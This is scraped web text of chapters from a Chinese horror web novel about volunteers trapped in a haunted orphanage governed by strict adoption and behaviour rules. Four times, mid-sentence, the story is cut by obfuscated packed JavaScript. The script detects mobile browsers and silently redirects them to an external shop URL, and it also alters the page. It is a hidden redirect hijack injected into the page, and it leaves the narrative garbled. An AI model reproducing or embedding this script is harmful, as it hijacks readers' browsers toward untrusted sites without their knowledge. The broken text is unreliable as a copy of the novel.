尊敬的各位领养人,欢迎来到天使孤儿院。本院致力于给孩子们提供良好的成长环境,将每个孩子培养成领养人喜爱、社会认可的优秀孩子。请各位领养人于访问期间,遵守以下规则: 1、为了让每一个领养人都能领养到心仪的孩子,天使孤儿院对三岁至十二岁之间的孩子开放领养手续。请每一个领养人选择自己心仪且符合要求的孩子,在参观结束后,若孩子的表现优异,即可成功领养。 2、领养人的访问时间为每周五晚六点至每周日晚上六点。当领养人进入后,孤儿院的大门将关闭,直到访问时间结束才可离开。 3、天使孤儿院设立明确的奖惩制度。如果您发现有孩子没有做到《行为守则》中任意一条,您可以通知护工,他们会进行妥善的教育。 4、访问期间,为了培养领养人与孩子之间的感情,本院要求每一个领养人都应与自己的孩子同吃同住。一经认领,领养人不可随意更换和遗弃领养对象。 5、除了三楼的院长办公室和地下一楼的教室以外,其余场所都可参观。个别场所在特殊情况下访客不可进入,详情请参考该场所的管理条例。 感谢您的理解与配合,祝您能领养到心仪的孩子。 公告的最后,附上了天使孤儿院的印章,证明这是一份有效力的规则。 “嗯……我和学姐都是这里的义工,应该不算领养人吧?唔,但现在这个情况,我也不能完全确定。”徐敏看向那对夫妻,“不过,你们两位一定是领养人。” 夫妻俩把那份公告上上下下翻看几遍,越看越诡异。 张耀面色凝重:“这种地方领养什么孩子啊,不会是鬼娃娃吧?” 徐敏抿嘴:“……毕竟我们也不在什么正常地方。” 迟青瑜倒是发现了几个细节:"今天正好是周五,我们遭遇停电的时间约是晚上六点,根据第二条规则,孤儿院再次开放的时间应该在周日晚六点。我们至少要坚持到这个时候。" 林巧雁对这个年轻的女大学生有些惊讶,细想一下,迟青瑜说的也有道理,她点点头表达自己的认可:“嗯,你还发现了什么吗?” “第三条里提到的的《行为守则》我们还没有找到,如果已经领养了孩子,但却没有这项规则,就不能判断孩子的行为是否异常,很危险。” 张耀一听这话,着急起来:“那我们不快点去找?!” “嘻嘻。”空旷的广场上传来一阵笑声。 “什么声音?” 张耀背脊一凉,慌乱地观察四周。 “嘻嘻,你好聪明呀。” 徐敏晃着手电筒到处打探,强力的光束打到迟青瑜身上,徐敏眼睛瞪大,呀地尖叫一声。 “学姐……你、你后面。” 迟青瑜感觉有什么人在扯着自己的衣角。 她转身,一个身穿纯白衣裤的小男孩站在她身后,苍白的小手拽着她的衣角不放,男孩扯出一个皮笑肉不笑的表情: “姐姐,你好聪明,我好喜欢你。” “你喜欢我吗?我很乖的,带我走好不好?” 与此同时,啪嗒一声,昏黄的灯光倾泻在广场上,迟青瑜后知后觉:是供电恢复了。 “啊——什么东西!” 与灯光一同出现的,是数十名孩子。他们的年龄小至孩童大到青春期,无一例外都身穿纯白色的衣裤。 他们好像被张耀的尖叫声吸引,各自在玩耍的动作不约而同都停了下来,齐刷刷看向五人,眼神呆滞,面无表情。 下一秒,他们的眼神不约而同地看向迟青瑜。 “你们不许跟我抢,明明是我先来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122299|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”那小男孩紧抓着她不放,声音里听不出一丝情绪。 广场上的孩子们压根没有理会男孩的话,他们迈着轻飘飘的步伐,向迟青瑜走来。他们空洞的眼神中慢慢浮现出什么情绪,走进了,迟青瑜才看清,那是跟诡异一模一样的“进食欲”。 “姐姐,我比他乖,领养我吧。”另有一个孩子抓住她的手腕。 “姐姐,我更聪明。” “姐姐……” 迟青瑜眼皮狂跳,她被一群孩子团团围住,一个个渴望的眼神紧紧锁定她。 她下意识开口反驳:“我不是领养人,你们搞错了。” 然而这样的反驳显然起不了任何作用。 “你们怎么这么吵!”一个中年女人从阴影里走出,她怀里揣着计分板,怒气冲冲,“谁再吵,我就扣分了!” 一瞬间,广场上寂静无声。 女人满意地扬起下巴,看向迟青瑜,眼神里满是谄媚:“这位领养人,实在是不好意思啊,他们已经很久没有看到领养人了,所以一时有些兴奋。我是这里的护工总管,叫我王姐就行。” 女人的表情更加自然,语言逻辑也比这群孩子要好,迟青瑜警惕起来:这是个更加高阶的诡异。 接着,王姐又变回了那副严苛的模样,她对着迟青瑜身边的孩子们吼道:“都给我列队,一个个的像什么话!” 乌泱泱的人群一下子散开,在几人面前排列整齐。 她开始翻起手中的本子,一一念出几人的名字:“今天的五位领养人都已经到齐,各位可以开始挑选符合眼缘的孩子了。” 五人被点名,明白所有人都被划分到了“领养人”这一身份下,除了遵守规则,别无他法。 徐敏被她看得毛骨悚然,也没敢仔细看,随手在人堆里面指了一个小女孩出来:“就她吧。” 张耀和林巧雁是一对夫妻,王姐让他们共同领养一个。张耀壮着胆子上前仔细看,越看心里越毛:“不看了不看了,随便挑一个乖一点的吧。”于是一个女孩被王姐点名拎了出来。 司沉想也没想,直接选中了最开始抓住迟青瑜的小男孩。 轮到迟青瑜的时候,王姐一个大步贴到她面前,堆起浮夸的笑容:“我一看你就知道你喜欢聪明的孩子。” 接着,她就从人群的最后面选出了一个看起来年龄偏大的女孩,“小玲,快跟姐姐打招呼。” 女孩低着头,小脸木着,一言不发。 “怎么这么没礼貌,我告诉你,今年你已经十二岁了,再找不到人领养你就没人要了!” 女孩抬头看了迟青瑜一眼,表情平静,很快又低下了头。 迟青瑜心下一惊:这个女孩跟别的孩子不一样,她有自然的表情和情绪,这就说明,她跟王姐一样,不是普通的低阶诡异。 麻烦啊,怎么还招惹上大的了? “这孩子,虽然脾气有点古怪,但是脑瓜子是一顶一的好啊……” 迟青瑜想拒绝,但王姐已经快速在本子上记下了领养信息,她对剩下的孩子挥挥手:“都散了吧,没事别出来乱跑。” 几十个孩子一窝蜂地散开,一开始对迟青瑜的那些“欲望”也消失得无影无踪。 事已至此,迟青瑜只能硬着头皮上了,她清清嗓子,镇定情绪:“那我……就是你的领养人了。” 女孩没有抬头:“我不需要领养人。” 迟青瑜:? 这诡异,还挺有个性? 5. 005 迟青瑜并不擅长跟孩子打交道,就算是福利院的义工,她也大多负责幕后工作。 现在要跟一个“小孩”相处两天,她怎么都自在不起来。 王姐在遣散了广场的孩子后,领着众人来到各自的房间。 迟青瑜没想到的是,这里每个孩子都是单独居住。宿舍的内部构造跟原来的差距很大,房间更多了,设施也不如福利院的齐全,几平米的小房间内,靠墙塞了个铁架上下床,靠窗放了一副桌椅,除此之外没有别的家具。 这也就代表,除了张耀和林巧雁,每个人都要独自迎接夜晚。 几人进入各自宿舍。迟青瑜一进门,就被她的房间内况吓了一跳。 很干净,又很脏。 说它干净,是因为这里面几乎没有什么个人物品,只有两三件白色制服堆在床尾;说它脏,是因为墙壁上画满了数字与符号。 字符的高度基本在一米到一米五之间,不用想也知道是谁的手笔,迟青瑜看向始作俑者,小玲没有任何想要解释的意思。 经过短暂的相处,迟青瑜大概摸清与这个高阶诡异的相处模式:互不搭理,主打一个省事儿。 迟青瑜抚摸着墙壁上的字符,铅笔的附着力很强,但有些也因历经岁月而显得模糊不清。 她仔细看过,上面没有任何规则类文字,倒是全是一些数学公式和定理的推导过程,较为干净的那面墙上还写着三大数学猜想,像是一份待完成的清单。 她再次看向小玲的眼神有些古怪。 迟青瑜确实没考虑过,怪谈里的诡异还能有如此丰富的设定,就像活生生的人一样。 小玲缩在床上,双手抱膝,看起来是打算就这么睡了。迟青瑜见她已经占据下铺的位置,没说什么,默默爬到上铺。 上铺还算干净,看起来平时有人打扫。迟青瑜摸索被褥,意外地在枕头底下发现一本红色牛皮本子。 翻开扉页,上面赫然写着《好孩子行为守则》。 本子有点厚度,迟青瑜有不祥的预感,果然,内里每一页都写满了规则,前前后后好几百条。 “五百多条规则……?” 迟青瑜自诩记忆力高超,但也对“核”给玩家出的考验感到无语。看起来这里的“核”真的很不喜欢脑子不好的人,如果背不下来这份东西,后果不敢想象。 下铺传来绵长的呼吸声,迟青瑜躲进被窝里,打开手机灯光。 她阅读的时候,习惯调动全部的注意力和脑细胞去解析信息,寻常事情无法轻易打扰她。 月上枝头,迟青瑜从被子里钻出来,呼吸一口空气。看着手中的红色本子,她心中莫名有股无名怨气。 这份《好孩子行为守则》的内容令人发指! 从孩子每一天的日常安排,到衣食住行吃喝拉撒这种小事,都有及其详细的规定。例如,第159条要求见到护工老师必须问好;第342条要求在广场游玩必须护工在场;还有一些令人摸不着头脑的规定,比如见到院长要喊“阿姨”;不许给自己改名字等等。 “神经病吧。”迟青瑜确信。 她把本子往旁边一甩,不管不顾地打了个哈欠,沉沉睡去。现在除非自己要死了,没有什么事情可以打扰她休息。 午夜十二点,寂静降临。 天使孤儿院内,一只乌鸦站在枝头,透过窗户,看向房间内熟睡的女大学生。 就在距离她一墙之隔的走廊外,有一名男孩。 男孩匍匐在地,透过门缝看向室内,可门缝太窄了他什么都看不清。 门的那边传来诱人的香味,勾得他胃部翻腾起一阵阵酸涩的情绪。男孩闻得见却尝不着的焦躁感越来越强,他将眼睛瞪得浑圆,眼球不断向外凸起,最终咕噜噜地滚到地板上,脱离眼眶的束缚。 眼球滚啊滚,对着高高的铁架床犯了难,它们拖着长长的血管,想利用球体的弹性跳上床铺。 噗嗤—— 左眼看着一双稚嫩的脚出现在自己旁边,在那脚下,是已经被踩成肉泥的右眼。 它好似受到莫大的压迫,忙不迭地滚回男孩的眼眶中。 此时,迟青瑜在熟睡中翻身,皱眉的神情抗议着床板太硬,或许是太累,她并没有发现同屋的小玲悄然出门。 女孩打开房门,撞见两个意想不到的人。 一个是跟自己“领养人”一起的高大男人,还有那位小男孩。 司沉被突然打开的房门吓了一跳,看到被吵醒的不是迟青瑜,他稍稍松口气,板着脸问小玲:“你要去哪?” “厕所。” 她简短地应付两句,光着脚往厕所走。 伴随她的脚印,留下浅浅的印记,司沉没分辨出那是什么,只觉得有点发红又黏糊糊的。 他盯着小玲的背影,确认她进入厕所,才低头打量自己选中的男孩,陷入沉思。 司沉的警惕心始终松不下来,他发现男孩半夜偷偷溜出去,自己便悄然尾随,没想到居然看到他趴在地上偷看迟青瑜的宿舍。 只是还没等他制止,男孩就闷闷地惨叫一声,捂着一只眼睛狼狈地爬起来。 司沉盯着男孩的头顶,冷笑道:“我可不是看你多听话才领养你的。听着,我知道你不是那种听话的诡异,下次再有这种事情,不用你们的主人出马,我就先替祂清扫门户了。” 男孩木着脸,看不出神色。司沉单手拎起他的衣领,将人拖回宿舍,自己在椅子上一坐,闭目养神。 闹剧落幕,夜晚回归平静,枝头的乌鸦飞离。 ------------------------------------------------------ 当三足金乌飞上树梢,迟青瑜迎来了在怪谈中的第一个白天。 昨晚比她想象中还平静,除了床板太硬,睡得其实还不错。 所以当她一个人精神抖擞出现在食堂,看到其余四人都盯着黑眼圈的时候,她百思不得其解。 “学姐,你懂吗?高考过后,我已经好久没有六点起来了。”徐敏睡眼惺忪,声音委屈极了,“那个《行为守则》里面要求小孩子六点起床,为了防止她触犯规则,我也得被迫起床监督她,太讨厌了!” 看来,大家都在房间内找到了规则。 “你好歹还睡了,只是起得早点。”林巧雁一边排队拿早餐,一边拿着本子背诵规则,“我跟我丈夫一夜没睡,都在背规则,就怕哪一项漏掉了,就麻烦了。” 迟青瑜毫不犹豫提出疑惑:“你们两个人一人背一半就好了,怎么还要背一宿?” 林巧雁讪讪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122300|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“在这种地方我也不敢睡啊……” 站在她前方的张耀听到后面的闲聊,没好气地指责迟青瑜:“你说得轻松,你都背下来了?” “啊。”迟青瑜理所当然地点点头,还给他一个“不然呢”的表情。 张耀愣怔,用怒火掩盖自己的不堪:“别说大话,你一个女孩子也太自以为是了,五百多条你能一晚上就背完?” 在自己擅长的方面,迟青瑜一直是乐于证明自己的: “那……不然你抽查?” “你!” 林巧雁适时拉住丈夫,打起圆场:“我听徐敏说,你们都是A大的学生吧!都是国家未来的人才啊。”她说这话不可避免得带有些吹捧的成分,“名牌大学的学生脑子就是好使,我们好久没背过书了,两位要是看到我们没发现的……麻烦提醒一下。” 迟青瑜跟徐敏对视一眼。 A大在全国确实有些知名度,对方现在拿这个说事,很明显确实是遇到了困难,有求于人。 徐敏知道迟青瑜不是喜欢纠缠的人,她熟练地接下林巧雁的话,顺利给对方一个台阶下。 张耀冷哼一声,并不屑于向女学生求助。 迟青瑜偷偷瞄向不远处,司沉与他们保持着距离,一路上没说话,但他的脸上挂着疲惫,写满心事。 或许他发现了什么,迟青瑜决定找机会跟他聊聊。 一行人带着各自的孩子排队,维持着成年人的体面,顺利领到早餐。 迟青瑜将小玲带到司沉面前,不容拒绝地命令:“你跟这位小弟弟一起吃,我跟哥哥有事要聊。” 小玲垮着脸,很明显的不悦情绪。小男孩埋头喝粥,看不清表情,看起来也没有反驳的意思。 《行为守则》中明确写明,不能违背领养人的要求,迟青瑜记得很清楚。 两人并排走着,一路上,孩子们对他们投以赤裸裸的注视。 “是谁,是新的领养人吗?” “新的天使孩子要出现了?还是恶魔孩子要诞生了?” “别人不知道,但是小玲一定是恶魔!” “我好恨她,我也喜欢那个姐姐,为什么被她领养的不是我!” “去死去死去死去死——” 吵闹的环境很快被护工们控制住,两人落座,迟青瑜非常好心地错开一个身位。 “怎么了?”司沉开门见山询问道。 “有消息?”迟青瑜用疑问句回应他。 司沉表情古怪,踟蹰再三,还是将昨晚的事情告诉她:“我有一个疑惑没得到解答。” “如果你对这件事并不知情,那么在那个宿舍里,能伤害他的,只能是小玲。我们对她的判断,都是高阶诡异没错,但……” 迟青瑜明白他的意思:“有一件事解释不通,为什么她作为诡异,却对我一点都不感兴趣?” 是的,无论是赤裸裸表达欲望的孩子,还是用大人的方式接近迟青瑜的王姐,小玲与他们都不一样。 司沉表情复杂:“我认为你的气息,应该不会有诡异不喜欢,‘王姐’什么反应我们也看到了,就算是高阶诡异有个体差异,也不会差别这么大,她甚至一直都在故意无视你。” 他提出自己的猜想:“所以我在想,她有没有可能其实不是诡异?” 6. 006 “她有没有可能不是诡异?” 司沉看出她的惊讶,主动补充说明:“这种情况我以前也遇到过,有些认知不坚定的人,在怪谈里面会失去对自我主体身份的认知,认为自己是另一个人。” “所以我在想,或许她是福利院里的孩子,只是被卷入怪谈后影响了认知。” 《玩家守则》第一条,强调玩家要相信自己是活人,不是其他的人。这条规则很容易被新手无视掉,殊不知认知的改变,在怪谈中是极其危险的。 但迟青瑜很快否定了他的想法:“不可能。” “我在这里做了一周的义工,虽然并不经常接触孩子,但我记得福利院每一个小孩的名字和照片,她不是其中的任何一个。不过她确实很特殊,我有预感,说不定在她身上有怪谈的秘密。” 司沉点头,很快也打消了这个念头:“你的体质特殊,我以前也没遇到过,还要多观察观察。” “说起来——”迟青瑜上下打量他一眼,“五百多条规则你也背下来了?” 正在喝豆浆的司沉猛地咳嗽两声,他用手背擦去嘴角的液体,有种被老师点名抽查的窘迫:“没有。” 迟青瑜递给他一片纸巾,放在两人中间的空位上:“那你心挺大,这么放心你的‘孩子’一个人吃饭,不怕他违反规则吗?” 他拿起纸巾,却没有用:“经历昨晚的事,我猜他应该比起我,更怕小玲,估计他是不敢造次的。” 迟青瑜露出一个了然的表情。 食堂里,一道指责声吸引了所有人的注意。 “你明明就做错了!我看到了!” 两人循声望去,张耀激动地拍着桌子站起来,指着他们领养的小女孩:“护工呢!她没有吃完食物,《行为守则》里面说了,食堂的食物必须要吃完的。” 女孩看起来很委屈:“我,我鸡蛋过敏……”她的眼睛转向林巧雁,“而且妈妈也没有吃。” “我不是你妈妈!”林巧雁被这个称呼惊到,连忙划清界限,“而且我是真的过敏,你怎么可能过敏,一、一定是故意的。” 对,诡异肯定都是故意的,就是为了让他们违反规则,差点就被骗了! 护工很快赶来,从女孩脚下找到被扔掉的水煮蛋,面色阴暗:“你没有遵守规定。” “护工你终于来了!”张耀像是找到救命稻草,开始控诉起小女孩,“她违反的行为守则里的内容,当时我们不是要最乖的那个小孩吗?怎么会这样,你们赶紧给我换一个,这个我不要了。” 一听这话,女孩吓得哇哇大哭,而林巧雁皱着眉头,狠下心不去看她:“对,我们明明要的是最乖的孩子,昨天晚上都还好好的,今天怎么就不听话了?” 迟青瑜虽然坐在角落,但孤儿院的食堂本身就不大,几人的争执内容可以很清晰地传到她耳边。 “不好意思,本院的领养对象一旦确定不可更改。” 张耀见自己的要求无法得到满足,退而求其次:"那你快去教育教育她,这是你们的工作吧?" “这是当然。”护工没有多说什么,小女孩见状,收住了哭闹声,一言不发地跟在护工身后离开食堂。 闹剧结束,迟青瑜喝完最后一口豆浆,正想收拾餐盘离开,迎面撞上了张耀夫妻。 张耀眼神一瞥,发现她并没有带着自己的孩子,又想到自己非常精准地揭发了“违规行为”,一时间更加不把迟青瑜放在眼里,他冷笑一声:“大学生也不过如此,自己躲在角落吃饭,不盯紧那几个小兔崽子。别怪我没提醒你们,他们可一个比一个狡猾,不看紧点怎么死的都不知道!” 司沉此时也吃早餐,犹豫了一秒,最后还是将迟青瑜递过来的纸巾收进衣兜。 “收拾餐盘。”迟青瑜没有理会张耀的挑衅,而是转头提醒司沉。 “……好。”尽管司沉没有理解,但他依旧乖乖照做。 张耀只当学生在学校里习惯了收拾餐具,而林巧雁却认为,迟青瑜不会做没必要的事情,她看似提醒,实则提出疑问:“我们刚刚吃完了之后,有工作人员帮忙收拾餐盘,你们不用自己收拾的。” 迟青瑜对上林巧雁的视线。 这位女性的职业是公务员,平时经常处理表格数据与文书工作,显然比普通人更细心一些,提问方式也更加委婉。 迟青瑜看向小女孩离开的方向,语气平静:“如果想要减少小孩的犯错概率,你们最好以身作则。” “什么?”张耀觉得这话毫无逻辑,“哪条规则这么写了?” 确实没有任何一条规则写明,领养人需要遵守《行为守则》。 事实上,迟青瑜昨晚刚背完《行为守则》后,也有这样的疑惑:仅仅只是考察玩家的记忆力,会不会太简单了?而今天看了夫妻俩的情况,才确信自己的猜测无误。 她反问道:“昨天晚上的孩子,跟今天早上的孩子,区别很大吧?” 夫妻俩一愣,交换一个眼神。 “昨天我们见到的孩子,还是面无表情,没有情绪的洋娃娃。”迟青瑜没有把小玲的情况归纳进去,“但是今天,不管是说话、举动,甚至思考方式,都更像一个人了。” “那句话怎么说来着?小孩会模仿大人。” 林巧雁立刻想到了小女孩说自己对鸡蛋过敏,寒意爬上脊椎:“你是说……” 迟青瑜颔首:“你对鸡蛋过敏,没有吃鸡蛋。所以女孩也模仿了你,说自己对鸡蛋过敏,但是她这一行为触犯了规则,被你的丈夫举报给了护工。” “我猜,那份规则并不只是让我们背下来这么简单。” 迟青瑜欲言又止,她还没有确切的证据证实自己的猜测。 “哈,说了这么多,都是你猜的?”张耀摆摆手,不打算继续这个话题,迈着步子走远了。 林巧雁面带歉意:“抱歉,我们昨晚没有休息好,他脾气有点大……” 送走夫妻俩,一直保持沉默的司沉开了口:“你想到了什么?” 经过这段时间的观察,他对同行的几人有了简单的了解。对于迟青瑜,她平时是个安静内敛的人,喜欢蛰伏在角落观察情况,对细节信息的敏感度很高。看着像是在发呆,实则脑子是在思考。 因此,他认为刚刚的停顿并不简单。 “没什么。”迟青瑜下意识用这三个字敷衍过去,“比起这个,食堂里你有发现额外的规则吗?” 《行为守则》里面倒是有三十几条与进食有关的规则,但除此之外,食堂内似乎并没有额外的规定。 见她并不想回答,司沉也没有追问:“我跟你发现的应该都一样。除了门口张贴的关于食堂开放时间的告示,以及文明用餐的标语,没找到额外的规则。” “再看看吧……”两人一前一后离开食堂,两个孩子在不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122301|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处等着他们。 迟青瑜跟司沉交换一个眼神:“你有怀疑的对象吗?” 司沉知道她指的是伥鬼:“张耀的反应不太像伥鬼,其他人,我暂时还没有排除嫌疑。” 迟青瑜颔首表示认可:“他不是伥鬼,也最好别太掏心掏肺,有时候好心别人也不领情。” 至于林巧雁和徐敏,确实还需要再观察一下。在完全排除嫌疑之前,迟青瑜主张对已有的信息和怪谈经验进行保密,更何况,还有一个下落不明的前台,都是未知因素。 接近两个孩子时,两人不约而同地暂停对话,司沉故作关心:“没给我惹事吧?” 男孩猛地摇头,迟青瑜这才看到他一只眼睛包着纱布。 “我很乖的……”他这么说着,缩缩脖子看向迟青瑜,“姐姐,一会儿早上的阅读课我可以跟你们一起吗?” 小玲拧着眉毛,瞪了他一眼。 《行为守则》里面规定,7-12岁的孩子每天早上八点到十二点需要在活动室进行阅读学习。几人里面,只有徐敏的女孩年龄小,可以自由活动。 迟青瑜将小玲的反应收入眼底,脑筋一转:“我说了不算,都是小玲自己做主。” 果然,她把责任一推,男孩不说话了。 “不要。” 小玲拒绝得非常干脆,她嫌弃的态度尤为明显。 她甩下这句话,转身就往活动室走。 ------------------------------------------------------ “欢迎各位领养人来到活动室。” 几人一来到活动室,就收到监督老师的“热情”欢迎,她说话的时候基本上只对着迟青瑜,其他人都已经习以为常。 “本院的活动室内设立多种书籍供给孩子阅读,这位小姐,你有什么想看的书都可以跟我说。”女老师说着就把迟青瑜拉到一旁,给她推荐书目。 几个人跟在监督老师身后,张耀夫妻俩还在等待被护工带去教育的小女孩。 “奇怪,怎么还没来?”张耀有些急躁。 迟青瑜环顾一周,最终将视线落在女老师的大衣口袋。口袋很深,里面放着一个方方正正的物体,露出一个不起眼的小角。 她扬起眉毛微笑:“我们第一次来,不应该跟我们说明活动室的注意事项吗?” 监督老师的笑容僵在脸上,有些咬牙切齿:“这……” 被这么一提醒,夫妻俩才反应过来这件事:食堂没有额外的规则,可不代表其他地方没有,他们差点就错过规则了。 想到这里,张耀面子有些挂不住,他很少见地跟迟青瑜统一战线:“你们工作人员怎么连这都不说,怎么接待客人的?!” 监督老师目光一转,落到小玲身上,她笑得不怀好意:“小玲,老师忘了带《活动室手册》了,可以帮老师去办公室拿吗?” 小玲沉默几秒,瞪着大大的眼睛看着老师,眼神里满是不解。 她歪着头,看向迟青瑜。 迟青瑜挑眉:“《行为守则》482条:好孩子是不能说谎的。” 小玲的声音平平的:“老师,手册在你的口袋里。” 监督老师的表情彻底黑掉。 迟青瑜看到小玲扯起嘴角,露出天真无害的笑容: “我是好孩子,可不能说谎哦。” 7. 007 小玲看着监督老师面部抽搐,忽然间收起所有的笑容,收起最像孩子的那一面,百无聊赖地看向周围的书籍。 迟青瑜接过话头:“老师你没带手册吗?” 一句简单的质问,令场上所有的孩子齐刷刷地看向监督老师。 “这么多孩子看着呢,老师不会撒谎的吧?”迟青瑜故意拱火。 “当然不会!”她拒绝得干脆利落,面部红心不跳,为自己的谎言找借口,“谢谢小玲提醒老师,老师都忘记了原来自己带了手册。” 小玲扭过头,不打理她。 身后的林巧雁神色紧张,扯扯迟青瑜的衣袖:“……我记得《行为守则》里面说了要尊重师长,好孩子必须要有礼貌……她这样做,你不叫护工吗?” 迟青瑜摇头。 《行为守则》里确实有这条规定。迟青瑜反问道:“你们的孩子被护工带走了,现在都没回来,你就没有想过被护工带走会怎么样吗?” “还能怎么样,不是说护工会帮我们教育小孩吗……?”林巧雁越说越没有底气,脑子里浮现出好几个幼师虐待孩子的新闻,声音细弱蚊蝇,“不会吧?” 迟青瑜没接话,她也不知道会怎么样。 林巧雁像是在自我安慰:“但是,《领养人须知》里面不是说,孩子犯错需要叫护工吗?” 她只是遵守规则,应该不会有问题的吧? 对于林巧雁的话,迟青瑜半眯起眼,语气平静:“规则有让你必须叫护工吗?” 看到林巧雁自我怀疑的表情,迟青瑜语气坚定地回答:“规则第三原句:如果您发现有孩子没有做到《行为守则》中任意一条,您‘可以’通知护工,他们会进行妥善的教育。” 迟青瑜在“可以”两个字上加重语气。 林巧雁平时整日面对政府文书,立刻恍然大悟:“不是强制性的。” 迟青瑜严肃起来:“没错,有的规则很明显用了强制要求的措辞,但有的规则却是没有的;也就是说,是否按照它所说的做都是被允许的。” 两人谈话间,监督老师已经从一旁锁住的柜子里拿出《活动室使用规范》,一一交给众人。 迟青瑜接过的时候,对方挤出尴尬的笑容:“迟小姐,请遵守我们的规章制度。” 迟青瑜用力扯过被对方紧紧攥着的手册,莞尔一笑:“当然。” 监督老师的表情更加狰狞,不甘地收手。 “我还是不明白……”林巧雁也接过手册,翻看起来,“如果有的规则不是强制性的,那又有什么意义呢?” 迟青瑜低头翻阅规则:“不知道。” 《天使孤儿院活动室使用规范》 为了培养天使孩子,我院设定活动室供给7-12岁的孩子使用,请每一个孩子及其领养人遵守以下规章制度: 1、活动室仅对7-12岁的孩子开放使用,如果有不满足条件的孩子希望使用活动室,必须取得监督老师的同意;且在活动室时,必须处于护工或领养人的监管下,以免发生意外。 2、活动室内设立有玩具区和阅读区,所有被领养的孩子必须选择阅读区进行阅读。 3、活动室的区域按照性别有严格划分,请所有孩子按照性别选择自己的玩具和阅读书目;如果不小心选择错误,可以告诉监督老师,老师会帮你选择正确的玩具和书籍。 4、活动室的电视机会不定时播报实时新闻。当播报新闻时,请活动室内的所有人认真观看,禁止随意走动、交谈等行为,以免影响他人。 5、监督老师会随身携带规范手册,如果你遇到的老师没有带,那她不是监督老师,请立刻找到距离你最近的护工,报告这件事。 6、禁止在活动室嬉戏玩闹、大声喧哗,禁止携带饮料喝食物进入活动室,离开活动室时,请务必保持座位干净,不要留下垃圾,除非监督老师允许你这么做。 7、除了监督老师和院长以外,不会有任何护工与教师进入活动室。 规则只有七条,相比起昨晚背下的五百多条规则,这些规范只能说是开胃小菜。 迟青瑜想到刚刚林巧雁的问题。 如果规则并非完全强制的,那规则在怪谈里面,代表着什么? 尽管司沉在此之前传授了部分在怪谈里生存的经验,但迟青瑜对这一问题并非十拿九稳。 她偷瞄一眼司沉,对方坐在角落里,盯着手册陷入沉思。 “不好意思,请问我的孩子可以使用活动室吗?”门口出现一大一小两位女性,徐敏拉着小女孩,站在门口向里面张望,“咦,学姐你们都在啊。” 徐敏身旁的小女孩戴着厚厚的眼镜,监督老师一看是她,心里会神:“当然可以,青青最喜欢看书了。” 张耀投以不可思议的表情,他摇摇头:“你怎么不拦着她,她要来你就让她来,你不知道这里还有额外的要求吗?” 徐敏嘿嘿一笑:“小孩爱看书,我不忍心嘛。” 张耀:这人到底有没有危机感? 他离徐敏远了些,不想被这个一腔热血的黄毛丫头拖后腿。 青青很熟练地在书架上找到一本童话书,一屁股坐在小玲旁边津津有味地读起来。 迟青瑜见此情景,心中感到意外。 冥冥之中,她一直认为小玲与怪谈有着说不清楚的联系,或许是好奇心作祟,或许是探索欲在推动着迟青瑜。 她走过去,青青的眼神在她身上停顿几秒,很快又低下头。 她的手里是一本插图风格十分复古的童话,是家喻户晓的《莴苣姑娘》。 迟青瑜视线一歪,小玲的桌面上只有一张白纸,她拿着铅笔在白纸上写写画画,内容跟房间墙壁里的差不多。 “你不看书吗?” 小玲没有看她:“不好看。” 迟青瑜一针见血的点出关键:“是这里的书不好看,还是孤儿院规定女孩要看的书不好看?” 小玲写字的手一顿,神色不动,但迟青瑜知道自己猜对了。 “我知道你对什么感兴趣,但这里的书籍不允许女孩借阅。”她的视线越过粉色的书架,落在蓝色的书架上,“男孩区有你喜欢的书。” 小玲又笑了,笑得与挑衅监督老师时一模一样:“那姐姐可以帮我借书吗?” 迟青瑜觉得她是故意的。 “我真的很喜欢数学,姐姐可以帮我借一本书看吗?” 迟青瑜不为所动,她就这么与小玲对视着。 两人之间产生一个低气压场,青青起身离开,假装寻找新的书籍。 “你会帮我吗?” 迟青瑜的脑子快速转动:按照自己的思路,玩家或许在小孩面前会起到一个“榜样”的作用,违反规则或许不一定会使玩家遭遇不测,但后果与风险都是未知的,迟青瑜不想轻举妄动。 那么,小玲这个邀请,是在引诱她犯错吗? 见她迟疑,小玲翻书一般收起笑容,“不去借就别烦我。” 很有脾气。 “咳咳。”低沉的声音在迟青瑜身后响起,是司沉。 他的手里拿着一本基础性读书,自言自语:"那小子脑子不太好,我想着给他补补,就借了些逻辑读物。不过他一时半会儿也是读不完的,估计要带回宿舍看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 